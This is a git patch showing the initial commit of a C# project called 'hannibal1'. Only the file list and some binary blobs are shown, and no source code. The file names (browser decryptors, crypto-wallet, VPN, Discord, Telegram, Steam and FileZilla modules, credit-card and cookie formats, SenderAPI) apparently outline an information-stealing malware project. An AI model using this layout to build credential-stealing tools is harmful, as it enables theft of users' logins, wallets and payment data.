From 3ad3d6e5f40ec8ba7c795e5c20fb7028ee316855 Mon Sep 17 00:00:00 2001 From: i2p Date: Thu, 27 Aug 2026 11:22:57 -0600 Subject: [PATCH] initial commit --- .DS_Store | Bin 0 -> 6148 bytes ...cdac27ab-dc9d-49aa-86d9-62d3e11d7a05.vsidx | Bin 0 -> 176019 bytes .vs/hannibal1/v17/.suo | Bin 0 -> 46592 bytes AesGcm.cs | 107 + Armory.cs | 26 + AssemblyInfo.cs | 14 + AtomicWallet.cs | 26 + AutoFilesFormat.cs | 15 + BCrypt.cs | 181 ++ BRWSR.cs | 209 ++ BSSID.cs | 56 + BitcoinCore.cs | 23 + Browsers.cs | 218 ++ Buffers.cs | 36 + Bytecoin.cs | 25 + Clipboard.cs | 40 + Config.cs | 79 + CookieFormat.cs | 20 + Counting.cs | 38 + CreditCardFormat.cs | 18 + CyberGhost.cs | 38 + DashCore.cs | 23 + Discord.cs | 37 + DiscordAccountFormat.cs | 9 + Electrum.cs | 26 + Ethereum.cs | 26 + Exodus.cs | 26 + ExpressVPN.cs | 38 + FileZilla.cs | 78 + Filemanager.cs | 25 + Files.cs | 130 + GBRWSR.cs | 102 + GDecryptor.cs | 205 ++ GetFiles.cs | 18 + Help.cs | 154 ++ IFolders.cs | 9 + IP.cs | 47 + Jaxx.cs | 26 + LitecoinCore.cs | 23 + LocationInfo.cs | 7 + Metamask.cs | 57 + Monero.cs | 27 + Monitor.cs | 49 + NordVPN.cs | 60 + OMethod.cs | 16 + OpenVPN.cs | 30 + Otstuk.cs | 124 + PIAVPN.cs | 39 + PasswordFormat.cs | 16 + PathsCV20.cs | 466 ++++ Patterns.cs | 56 + ProcessList.cs | 36 + Program.cs | 66 + Properties/Resources.cs | 40 + Properties/Resources.resx | 120 + Properties/Settings.cs | 15 + ProtonVPN.cs | 40 + README.md | 1 + SQLiteHandler.cs | 361 +++ Screenchik.cs | 21 + SenderAPI.cs | 69 + StartVPN.cs | 24 + StartWallets.cs | 64 + Steam.cs | 121 + SystemInfo.cs | 168 ++ Telegram.cs | 63 + TotalCommander.cs | 29 + V20Collect.cs | 222 ++ WinAPI.cs | 26 + Writer.cs | 79 + Zcash.cs | 27 + app.config | 3 + desktop.ini | 2 + dst.cs | 324 +++ hannibal1.csproj | 136 + hannibal1.sln | 20 + packages.config | 5 + packages/System.IO.4.3.0/.signature.p7s | Bin 0 -> 9482 bytes .../System.IO.4.3.0/System.IO.4.3.0.nupkg | Bin 0 -> 703652 bytes .../System.IO.4.3.0/ThirdPartyNotices.txt | 31 + .../dotnet_library_license.txt | 128 + .../System.IO.4.3.0/lib/MonoAndroid10/_._ | 0 packages/System.IO.4.3.0/lib/MonoTouch10/_._ | 0 packages/System.IO.4.3.0/lib/net45/_._ | 0 .../System.IO.4.3.0/lib/net462/System.IO.dll | Bin 0 -> 22184 bytes .../lib/portable-net45+win8+wp8+wpa81/_._ | 0 packages/System.IO.4.3.0/lib/win8/_._ | 0 packages/System.IO.4.3.0/lib/wp80/_._ | 0 packages/System.IO.4.3.0/lib/wpa81/_._ | 0 packages/System.IO.4.3.0/lib/xamarinios10/_._ | 0 packages/System.IO.4.3.0/lib/xamarinmac20/_._ | 0 .../System.IO.4.3.0/lib/xamarintvos10/_._ | 0 .../System.IO.4.3.0/lib/xamarinwatchos10/_._ | 0 .../System.IO.4.3.0/ref/MonoAndroid10/_._ | 0 packages/System.IO.4.3.0/ref/MonoTouch10/_._ | 0 packages/System.IO.4.3.0/ref/net45/_._ | 0 .../System.IO.4.3.0/ref/net462/System.IO.dll | Bin 0 -> 22184 bytes .../ref/netcore50/System.IO.dll | Bin 0 -> 29864 bytes .../ref/netcore50/System.IO.xml | 2151 ++++++++++++++++ .../ref/netcore50/de/System.IO.xml | 2151 ++++++++++++++++ .../ref/netcore50/es/System.IO.xml | 2090 +++++++++++++++ .../ref/netcore50/fr/System.IO.xml | 2201 ++++++++++++++++ .../ref/netcore50/it/System.IO.xml | 2123 ++++++++++++++++ .../ref/netcore50/ja/System.IO.xml | 2264 +++++++++++++++++ .../ref/netcore50/ko/System.IO.xml | 2262 ++++++++++++++++ .../ref/netcore50/ru/System.IO.xml | 2023 +++++++++++++++ .../ref/netcore50/zh-hans/System.IO.xml | 2237 ++++++++++++++++ .../ref/netcore50/zh-hant/System.IO.xml | 2246 ++++++++++++++++ .../ref/netstandard1.0/System.IO.dll | Bin 0 -> 30128 bytes .../ref/netstandard1.0/System.IO.xml | 2151 ++++++++++++++++ .../ref/netstandard1.0/de/System.IO.xml | 2151 ++++++++++++++++ .../ref/netstandard1.0/es/System.IO.xml | 2090 +++++++++++++++ .../ref/netstandard1.0/fr/System.IO.xml | 2201 ++++++++++++++++ .../ref/netstandard1.0/it/System.IO.xml | 2123 ++++++++++++++++ .../ref/netstandard1.0/ja/System.IO.xml | 2264 +++++++++++++++++ .../ref/netstandard1.0/ko/System.IO.xml | 2262 ++++++++++++++++ .../ref/netstandard1.0/ru/System.IO.xml | 2023 +++++++++++++++ .../ref/netstandard1.0/zh-hans/System.IO.xml | 2237 ++++++++++++++++ .../ref/netstandard1.0/zh-hant/System.IO.xml | 2246 ++++++++++++++++ .../ref/netstandard1.3/System.IO.dll | Bin 0 -> 29864 bytes .../ref/netstandard1.3/System.IO.xml | 2151 ++++++++++++++++ .../ref/netstandard1.3/de/System.IO.xml | 2151 ++++++++++++++++ .../ref/netstandard1.3/es/System.IO.xml | 2090 +++++++++++++++ .../ref/netstandard1.3/fr/System.IO.xml | 2201 ++++++++++++++++ .../ref/netstandard1.3/it/System.IO.xml | 2123 ++++++++++++++++ .../ref/netstandard1.3/ja/System.IO.xml | 2264 +++++++++++++++++ .../ref/netstandard1.3/ko/System.IO.xml | 2262 ++++++++++++++++ .../ref/netstandard1.3/ru/System.IO.xml | 2023 +++++++++++++++ .../ref/netstandard1.3/zh-hans/System.IO.xml | 2237 ++++++++++++++++ .../ref/netstandard1.3/zh-hant/System.IO.xml | 2246 ++++++++++++++++ .../ref/netstandard1.5/System.IO.dll | Bin 0 -> 30528 bytes .../ref/netstandard1.5/System.IO.xml | 2151 ++++++++++++++++ .../ref/netstandard1.5/de/System.IO.xml | 2151 ++++++++++++++++ .../ref/netstandard1.5/es/System.IO.xml | 2090 +++++++++++++++ .../ref/netstandard1.5/fr/System.IO.xml | 2201 ++++++++++++++++ .../ref/netstandard1.5/it/System.IO.xml | 2123 ++++++++++++++++ .../ref/netstandard1.5/ja/System.IO.xml | 2264 +++++++++++++++++ .../ref/netstandard1.5/ko/System.IO.xml | 2262 ++++++++++++++++ .../ref/netstandard1.5/ru/System.IO.xml | 2023 +++++++++++++++ .../ref/netstandard1.5/zh-hans/System.IO.xml | 2237 ++++++++++++++++ .../ref/netstandard1.5/zh-hant/System.IO.xml | 2246 ++++++++++++++++ .../ref/portable-net45+win8+wp8+wpa81/_._ | 0 packages/System.IO.4.3.0/ref/win8/_._ | 0 packages/System.IO.4.3.0/ref/wp80/_._ | 0 packages/System.IO.4.3.0/ref/wpa81/_._ | 0 packages/System.IO.4.3.0/ref/xamarinios10/_._ | 0 packages/System.IO.4.3.0/ref/xamarinmac20/_._ | 0 .../System.IO.4.3.0/ref/xamarintvos10/_._ | 0 .../System.IO.4.3.0/ref/xamarinwatchos10/_._ | 0 .../.signature.p7s | Bin 0 -> 9483 bytes .../System.IO.Compression.4.3.0.nupkg | Bin 0 -> 485197 bytes .../ThirdPartyNotices.txt | 31 + .../dotnet_library_license.txt | 128 + .../lib/MonoAndroid10/_._ | 0 .../lib/MonoTouch10/_._ | 0 .../System.IO.Compression.4.3.0/lib/net45/_._ | 0 .../lib/net46/System.IO.Compression.dll | Bin 0 -> 111984 bytes .../lib/portable-net45+win8+wpa81/_._ | 0 .../System.IO.Compression.4.3.0/lib/win8/_._ | 0 .../System.IO.Compression.4.3.0/lib/wpa81/_._ | 0 .../lib/xamarinios10/_._ | 0 .../lib/xamarinmac20/_._ | 0 .../lib/xamarintvos10/_._ | 0 .../lib/xamarinwatchos10/_._ | 0 .../ref/MonoAndroid10/_._ | 0 .../ref/MonoTouch10/_._ | 0 .../System.IO.Compression.4.3.0/ref/net45/_._ | 0 .../ref/net46/System.IO.Compression.dll | Bin 0 -> 111984 bytes .../ref/netcore50/System.IO.Compression.dll | Bin 0 -> 24280 bytes .../ref/netcore50/System.IO.Compression.xml | 430 ++++ .../netcore50/de/System.IO.Compression.xml | 430 ++++ .../netcore50/es/System.IO.Compression.xml | 420 +++ .../netcore50/fr/System.IO.Compression.xml | 430 ++++ .../netcore50/it/System.IO.Compression.xml | 430 ++++ .../netcore50/ja/System.IO.Compression.xml | 446 ++++ .../netcore50/ko/System.IO.Compression.xml | 446 ++++ .../netcore50/ru/System.IO.Compression.xml | 415 +++ .../zh-hans/System.IO.Compression.xml | 436 ++++ .../zh-hant/System.IO.Compression.xml | 432 ++++ .../netstandard1.1/System.IO.Compression.dll | Bin 0 -> 23520 bytes .../netstandard1.1/System.IO.Compression.xml | 430 ++++ .../de/System.IO.Compression.xml | 430 ++++ .../es/System.IO.Compression.xml | 420 +++ .../fr/System.IO.Compression.xml | 430 ++++ .../it/System.IO.Compression.xml | 430 ++++ .../ja/System.IO.Compression.xml | 446 ++++ .../ko/System.IO.Compression.xml | 446 ++++ .../ru/System.IO.Compression.xml | 415 +++ .../zh-hans/System.IO.Compression.xml | 436 ++++ .../zh-hant/System.IO.Compression.xml | 432 ++++ .../netstandard1.3/System.IO.Compression.dll | Bin 0 -> 24280 bytes .../netstandard1.3/System.IO.Compression.xml | 430 ++++ .../de/System.IO.Compression.xml | 430 ++++ .../es/System.IO.Compression.xml | 420 +++ .../fr/System.IO.Compression.xml | 430 ++++ .../it/System.IO.Compression.xml | 430 ++++ .../ja/System.IO.Compression.xml | 446 ++++ .../ko/System.IO.Compression.xml | 446 ++++ .../ru/System.IO.Compression.xml | 415 +++ .../zh-hans/System.IO.Compression.xml | 436 ++++ .../zh-hant/System.IO.Compression.xml | 432 ++++ .../ref/portable-net45+win8+wpa81/_._ | 0 .../System.IO.Compression.4.3.0/ref/win8/_._ | 0 .../System.IO.Compression.4.3.0/ref/wpa81/_._ | 0 .../ref/xamarinios10/_._ | 0 .../ref/xamarinmac20/_._ | 0 .../ref/xamarintvos10/_._ | 0 .../ref/xamarinwatchos10/_._ | 0 .../netstandard1.3/System.IO.Compression.dll | Bin 0 -> 117624 bytes .../win/lib/net46/System.IO.Compression.dll | Bin 0 -> 111984 bytes .../netstandard1.3/System.IO.Compression.dll | Bin 0 -> 125296 bytes 211 files changed, 105455 insertions(+) create mode 100644 .DS_Store create mode 100644 .vs/hannibal1/FileContentIndex/cdac27ab-dc9d-49aa-86d9-62d3e11d7a05.vsidx create mode 100644 .vs/hannibal1/v17/.suo create mode 100644 AesGcm.cs create mode 100644 Armory.cs create mode 100644 AssemblyInfo.cs create mode 100644 AtomicWallet.cs create mode 100644 AutoFilesFormat.cs create mode 100644 BCrypt.cs create mode 100644 BRWSR.cs create mode 100644 BSSID.cs create mode 100644 BitcoinCore.cs create mode 100644 Browsers.cs create mode 100644 Buffers.cs create mode 100644 Bytecoin.cs create mode 100644 Clipboard.cs create mode 100644 Config.cs create mode 100644 CookieFormat.cs create mode 100644 Counting.cs create mode 100644 CreditCardFormat.cs create mode 100644 CyberGhost.cs create mode 100644 DashCore.cs create mode 100644 Discord.cs create mode 100644 DiscordAccountFormat.cs create mode 100644 Electrum.cs create mode 100644 Ethereum.cs create mode 100644 Exodus.cs create mode 100644 ExpressVPN.cs create mode 100644 FileZilla.cs create mode 100644 Filemanager.cs create mode 100644 Files.cs create mode 100644 GBRWSR.cs create mode 100644 GDecryptor.cs create mode 100644 GetFiles.cs create mode 100644 Help.cs create mode 100644 IFolders.cs create mode 100644 IP.cs create mode 100644 Jaxx.cs create mode 100644 LitecoinCore.cs create mode 100644 LocationInfo.cs create mode 100644 Metamask.cs create mode 100644 Monero.cs create mode 100644 Monitor.cs create mode 100644 NordVPN.cs create mode 100644 OMethod.cs create mode 100644 OpenVPN.cs create mode 100644 Otstuk.cs create mode 100644 PIAVPN.cs create mode 100644 PasswordFormat.cs create mode 100644 PathsCV20.cs create mode 100644 Patterns.cs create mode 100644 ProcessList.cs create mode 100644 Program.cs create mode 100644 Properties/Resources.cs create mode 100644 Properties/Resources.resx create mode 100644 Properties/Settings.cs create mode 100644 ProtonVPN.cs create mode 100644 README.md create mode 100644 SQLiteHandler.cs create mode 100644 Screenchik.cs create mode 100644 SenderAPI.cs create mode 100644 StartVPN.cs create mode 100644 StartWallets.cs create mode 100644 Steam.cs create mode 100644 SystemInfo.cs create mode 100644 Telegram.cs create mode 100644 TotalCommander.cs create mode 100644 V20Collect.cs create mode 100644 WinAPI.cs create mode 100644 Writer.cs create mode 100644 Zcash.cs create mode 100644 app.config create mode 100644 desktop.ini create mode 100644 dst.cs create mode 100644 hannibal1.csproj create mode 100644 hannibal1.sln create mode 100644 packages.config create mode 100644 packages/System.IO.4.3.0/.signature.p7s create mode 100644 packages/System.IO.4.3.0/System.IO.4.3.0.nupkg create mode 100644 packages/System.IO.4.3.0/ThirdPartyNotices.txt create mode 100644 packages/System.IO.4.3.0/dotnet_library_license.txt create mode 100644 packages/System.IO.4.3.0/lib/MonoAndroid10/_._ create mode 100644 packages/System.IO.4.3.0/lib/MonoTouch10/_._ create mode 100644 packages/System.IO.4.3.0/lib/net45/_._ create mode 100644 packages/System.IO.4.3.0/lib/net462/System.IO.dll create mode 100644 packages/System.IO.4.3.0/lib/portable-net45+win8+wp8+wpa81/_._ create mode 100644 packages/System.IO.4.3.0/lib/win8/_._ create mode 100644 packages/System.IO.4.3.0/lib/wp80/_._ create mode 100644 packages/System.IO.4.3.0/lib/wpa81/_._ create mode 100644 packages/System.IO.4.3.0/lib/xamarinios10/_._ create mode 100644 packages/System.IO.4.3.0/lib/xamarinmac20/_._ create mode 100644 packages/System.IO.4.3.0/lib/xamarintvos10/_._ create mode 100644 packages/System.IO.4.3.0/lib/xamarinwatchos10/_._ create mode 100644 packages/System.IO.4.3.0/ref/MonoAndroid10/_._ create mode 100644 packages/System.IO.4.3.0/ref/MonoTouch10/_._ create mode 100644 packages/System.IO.4.3.0/ref/net45/_._ create mode 100644 packages/System.IO.4.3.0/ref/net462/System.IO.dll create mode 100644 packages/System.IO.4.3.0/ref/netcore50/System.IO.dll create mode 100644 packages/System.IO.4.3.0/ref/netcore50/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netcore50/de/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netcore50/es/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netcore50/fr/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netcore50/it/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netcore50/ja/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netcore50/ko/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netcore50/ru/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netcore50/zh-hans/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netcore50/zh-hant/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netstandard1.0/System.IO.dll create mode 100644 packages/System.IO.4.3.0/ref/netstandard1.0/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netstandard1.0/de/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netstandard1.0/es/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netstandard1.0/fr/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netstandard1.0/it/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netstandard1.0/ja/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netstandard1.0/ko/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netstandard1.0/ru/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netstandard1.0/zh-hans/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netstandard1.0/zh-hant/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netstandard1.3/System.IO.dll create mode 100644 packages/System.IO.4.3.0/ref/netstandard1.3/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netstandard1.3/de/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netstandard1.3/es/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netstandard1.3/fr/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netstandard1.3/it/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netstandard1.3/ja/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netstandard1.3/ko/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netstandard1.3/ru/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netstandard1.3/zh-hans/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netstandard1.3/zh-hant/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netstandard1.5/System.IO.dll create mode 100644 packages/System.IO.4.3.0/ref/netstandard1.5/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netstandard1.5/de/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netstandard1.5/es/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netstandard1.5/fr/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netstandard1.5/it/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netstandard1.5/ja/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netstandard1.5/ko/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netstandard1.5/ru/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netstandard1.5/zh-hans/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/netstandard1.5/zh-hant/System.IO.xml create mode 100644 packages/System.IO.4.3.0/ref/portable-net45+win8+wp8+wpa81/_._ create mode 100644 packages/System.IO.4.3.0/ref/win8/_._ create mode 100644 packages/System.IO.4.3.0/ref/wp80/_._ create mode 100644 packages/System.IO.4.3.0/ref/wpa81/_._ create mode 100644 packages/System.IO.4.3.0/ref/xamarinios10/_._ create mode 100644 packages/System.IO.4.3.0/ref/xamarinmac20/_._ create mode 100644 packages/System.IO.4.3.0/ref/xamarintvos10/_._ create mode 100644 packages/System.IO.4.3.0/ref/xamarinwatchos10/_._ create mode 100644 packages/System.IO.Compression.4.3.0/.signature.p7s create mode 100644 packages/System.IO.Compression.4.3.0/System.IO.Compression.4.3.0.nupkg create mode 100644 packages/System.IO.Compression.4.3.0/ThirdPartyNotices.txt create mode 100644 packages/System.IO.Compression.4.3.0/dotnet_library_license.txt create mode 100644 packages/System.IO.Compression.4.3.0/lib/MonoAndroid10/_._ create mode 100644 packages/System.IO.Compression.4.3.0/lib/MonoTouch10/_._ create mode 100644 packages/System.IO.Compression.4.3.0/lib/net45/_._ create mode 100644 packages/System.IO.Compression.4.3.0/lib/net46/System.IO.Compression.dll create mode 100644 packages/System.IO.Compression.4.3.0/lib/portable-net45+win8+wpa81/_._ create mode 100644 packages/System.IO.Compression.4.3.0/lib/win8/_._ create mode 100644 packages/System.IO.Compression.4.3.0/lib/wpa81/_._ create mode 100644 packages/System.IO.Compression.4.3.0/lib/xamarinios10/_._ create mode 100644 packages/System.IO.Compression.4.3.0/lib/xamarinmac20/_._ create mode 100644 packages/System.IO.Compression.4.3.0/lib/xamarintvos10/_._ create mode 100644 packages/System.IO.Compression.4.3.0/lib/xamarinwatchos10/_._ create mode 100644 packages/System.IO.Compression.4.3.0/ref/MonoAndroid10/_._ create mode 100644 packages/System.IO.Compression.4.3.0/ref/MonoTouch10/_._ create mode 100644 packages/System.IO.Compression.4.3.0/ref/net45/_._ create mode 100644 packages/System.IO.Compression.4.3.0/ref/net46/System.IO.Compression.dll create mode 100644 packages/System.IO.Compression.4.3.0/ref/netcore50/System.IO.Compression.dll create mode 100644 packages/System.IO.Compression.4.3.0/ref/netcore50/System.IO.Compression.xml create mode 100644 packages/System.IO.Compression.4.3.0/ref/netcore50/de/System.IO.Compression.xml create mode 100644 packages/System.IO.Compression.4.3.0/ref/netcore50/es/System.IO.Compression.xml create mode 100644 packages/System.IO.Compression.4.3.0/ref/netcore50/fr/System.IO.Compression.xml create mode 100644 packages/System.IO.Compression.4.3.0/ref/netcore50/it/System.IO.Compression.xml create mode 100644 packages/System.IO.Compression.4.3.0/ref/netcore50/ja/System.IO.Compression.xml create mode 100644 packages/System.IO.Compression.4.3.0/ref/netcore50/ko/System.IO.Compression.xml create mode 100644 packages/System.IO.Compression.4.3.0/ref/netcore50/ru/System.IO.Compression.xml create mode 100644 packages/System.IO.Compression.4.3.0/ref/netcore50/zh-hans/System.IO.Compression.xml create mode 100644 packages/System.IO.Compression.4.3.0/ref/netcore50/zh-hant/System.IO.Compression.xml create mode 100644 packages/System.IO.Compression.4.3.0/ref/netstandard1.1/System.IO.Compression.dll create mode 100644 packages/System.IO.Compression.4.3.0/ref/netstandard1.1/System.IO.Compression.xml create mode 100644 packages/System.IO.Compression.4.3.0/ref/netstandard1.1/de/System.IO.Compression.xml create mode 100644 packages/System.IO.Compression.4.3.0/ref/netstandard1.1/es/System.IO.Compression.xml create mode 100644 packages/System.IO.Compression.4.3.0/ref/netstandard1.1/fr/System.IO.Compression.xml create mode 100644 packages/System.IO.Compression.4.3.0/ref/netstandard1.1/it/System.IO.Compression.xml create mode 100644 packages/System.IO.Compression.4.3.0/ref/netstandard1.1/ja/System.IO.Compression.xml create mode 100644 packages/System.IO.Compression.4.3.0/ref/netstandard1.1/ko/System.IO.Compression.xml create mode 100644 packages/System.IO.Compression.4.3.0/ref/netstandard1.1/ru/System.IO.Compression.xml create mode 100644 packages/System.IO.Compression.4.3.0/ref/netstandard1.1/zh-hans/System.IO.Compression.xml create mode 100644 packages/System.IO.Compression.4.3.0/ref/netstandard1.1/zh-hant/System.IO.Compression.xml create mode 100644 packages/System.IO.Compression.4.3.0/ref/netstandard1.3/System.IO.Compression.dll create mode 100644 packages/System.IO.Compression.4.3.0/ref/netstandard1.3/System.IO.Compression.xml create mode 100644 packages/System.IO.Compression.4.3.0/ref/netstandard1.3/de/System.IO.Compression.xml create mode 100644 packages/System.IO.Compression.4.3.0/ref/netstandard1.3/es/System.IO.Compression.xml create mode 100644 packages/System.IO.Compression.4.3.0/ref/netstandard1.3/fr/System.IO.Compression.xml create mode 100644 packages/System.IO.Compression.4.3.0/ref/netstandard1.3/it/System.IO.Compression.xml create mode 100644 packages/System.IO.Compression.4.3.0/ref/netstandard1.3/ja/System.IO.Compression.xml create mode 100644 packages/System.IO.Compression.4.3.0/ref/netstandard1.3/ko/System.IO.Compression.xml create mode 100644 packages/System.IO.Compression.4.3.0/ref/netstandard1.3/ru/System.IO.Compression.xml create mode 100644 packages/System.IO.Compression.4.3.0/ref/netstandard1.3/zh-hans/System.IO.Compression.xml create mode 100644 packages/System.IO.Compression.4.3.0/ref/netstandard1.3/zh-hant/System.IO.Compression.xml create mode 100644 packages/System.IO.Compression.4.3.0/ref/portable-net45+win8+wpa81/_._ create mode 100644 packages/System.IO.Compression.4.3.0/ref/win8/_._ create mode 100644 packages/System.IO.Compression.4.3.0/ref/wpa81/_._ create mode 100644 packages/System.IO.Compression.4.3.0/ref/xamarinios10/_._ create mode 100644 packages/System.IO.Compression.4.3.0/ref/xamarinmac20/_._ create mode 100644 packages/System.IO.Compression.4.3.0/ref/xamarintvos10/_._ create mode 100644 packages/System.IO.Compression.4.3.0/ref/xamarinwatchos10/_._ create mode 100644 packages/System.IO.Compression.4.3.0/runtimes/unix/lib/netstandard1.3/System.IO.Compression.dll create mode 100644 packages/System.IO.Compression.4.3.0/runtimes/win/lib/net46/System.IO.Compression.dll create mode 100644 packages/System.IO.Compression.4.3.0/runtimes/win/lib/netstandard1.3/System.IO.Compression.dll diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..e218815ef5f15a9c704210770c5795c309e4b9dc GIT binary patch literal 6148 zcmeHKy-veG4EE6uQCT`Lups3LkopFp3IiKbHzcIeHYz_YsrZ}o2nYrq0*Qf{6?I`? z?@RCmh|j)*6+*Uj{!-g#yI+-akBChBde9bG~SZ_d82>W@JWX)MNfQECl zI{kD!5o@g!tp;U48Te}q@Vi^1ZMvb$(XjabCil5#oW^l)l=ff=-e2AhKVPRiMeksV zcXC|JDu+XjdUQhPUOl9fjN&QQ`*;ZQdd{2ID|@|q-&s>sJguxJ93 zsSbN6;bbC<{9 literal 0 HcmV?d00001 diff --git a/.vs/hannibal1/FileContentIndex/cdac27ab-dc9d-49aa-86d9-62d3e11d7a05.vsidx b/.vs/hannibal1/FileContentIndex/cdac27ab-dc9d-49aa-86d9-62d3e11d7a05.vsidx new file mode 100644 index 0000000000000000000000000000000000000000..ddac3d549a5348c455a4332153d7973106464bd2 GIT binary patch literal 176019 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 